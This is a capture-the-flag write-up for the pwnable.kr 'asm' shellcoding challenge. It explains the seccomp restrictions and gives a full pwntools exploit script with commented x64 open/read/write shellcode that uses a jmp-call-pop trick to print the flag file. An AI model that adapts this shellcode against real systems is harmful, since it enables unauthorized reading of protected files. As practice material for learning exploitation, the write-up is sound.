1. Description
Do ssh asm@pwnable.kr -p2222
to play. Password is guest
.
The challenge program is running on local port 9026
.
asm@prowl:~user@computer$ ls
asm
asm.c
readme
this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong
In the home directory we have a copy of the challenge program asm
, its source C code asm.c
, a readme
file, as well as a sample flag file with a very long filename.
asm@prowl:~user@computer$ ./asm
Welcome to shellcoding practice challenge.
In this challenge, you can run your x64 shellcode under SECCOMP sandbox.
Try to make shellcode that spits flag using open()/read()/write() systemcalls only.
If this does not challenge you. you should play ‘asg’ challenge :)
give me your x64 shellcode:
Basically we are supposed to connect to the program and send it some x64 shellcode. The program will then execute the shellcode under its higher privilege, so hopefully by sending the proper shellcode we will be able to let the program leak the flag for us.
However, restricted by seccomp, we can only use open()
, read()
, write()
, exit()
and exit_group()
syscalls in our shellcode:
... seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0); ...
Additionally, the program adds a “prefix” to our shellcode as well:
... char stub[] = “\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff"; ...
Let’s first check out what does it mean:
peilin@PWN:~/pwnable.kr/asm$ rasm2 -b64 -d -B `printf “\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff”`
xor rax, rax
xor rbx, rbx
xor rcx, rcx
xor rdx, rdx
xor rsi, rsi
xor rdi, rdi
xor rbp, rbp
xor r8, r8
xor r9, r9
xor r10, r10
xor r11, r11
xor r12, r12
xor r13, r13
xor r14, r14
xor r15, r15
Thankfully it is just zeroing out some registers.
2. Exploitation
This is my exp:
# exp.py from pwn import * context.update(arch="amd64", os="linux", bits=64) # context.log_level = "DEBUG" p = remote('127.0.0.1', 9026) shellcode = asm(""" jmp filename open: pop rdi xor rsi, rsi xor rdx, rdx mov rax, 2 syscall read: push rax pop rdi mov rdx, 0xff sub rsp, rdx mov rsi, rsp xor rax, rax syscall write: mov rdx, rax mov rdi, 1 mov rsi, rsp xor rax, rax inc rax syscall exit: xor rdi, rdi mov rax, 0x3c syscall filename: call open .ascii "./this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong" .byte 0 """) p.recvuntil("give me your x64 shellcode: ") p.send(shellcode) p.interactive()
I will now comment the shellcode part and explain it a little bit.
3. Shellcode Explained
jmp filename open: ; 0x02 ; open(const char *pathname, int flags, mode_t mode) pop rdi ; pathname = &"./this_is_pwnable.kr_flag_file..." xor rsi, rsi ; flags = 0 xor rdx, rdx ; mode = 0 mov rax, 2 syscall ; return fd of flag file in rax read: ; 0x00 ; read(int fd, void *buf, size_t count); push rax pop rdi ; fd = whatever open() returned mov rdx, 0xff ; count = 0xff sub rsp, rdx ; make room for the buffer mov rsi, rsp ; buf = top of the stack xor rax, rax syscall ; return number of bytes read in rax write: ; 0x01 ; write(int fd, const void *buf, size_t count); mov rdx, rax ; count = whatever read() returned mov rdi, 1 ; fd = 1 (stdout, so that we can see the flag) mov rsi, rsp ; buf = top of the stack xor rax, rax inc rax syscall exit: ; 0x3c ; exit(int error_code); xor rdi, rdi ; error_code = 0 mov rax, 0x3c syscall filename: call open .ascii "./this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong" .byte 0
I reference https://syscalls.w3challs.com/?arch=x86_64 for syscall information.
Few more things to notice: First, the (very long) file name needs to be a NULL-terminated string, but since the program is receiving our shellcode using read()
, we have to put the string at the end of our shellcode, otherwise read()
will stop reading when it reaches NULL and cut our shellcode in half.
So how can we put a pointer of that string in rdi, then? We call
the open
label right before the string, so that the call
instruction automatically pushes the address of its next “instruction”, in this case, the filename string, onto stack. After we jump to the open
label, we immediately pop
the address into rdi, and that’s it! I learned this smart trick from this good post by Cong Wang.
Another things to keep in mind is that the return values are stored in rax.
So basically that’s it! A good chance to learn and practice how to write shellcode.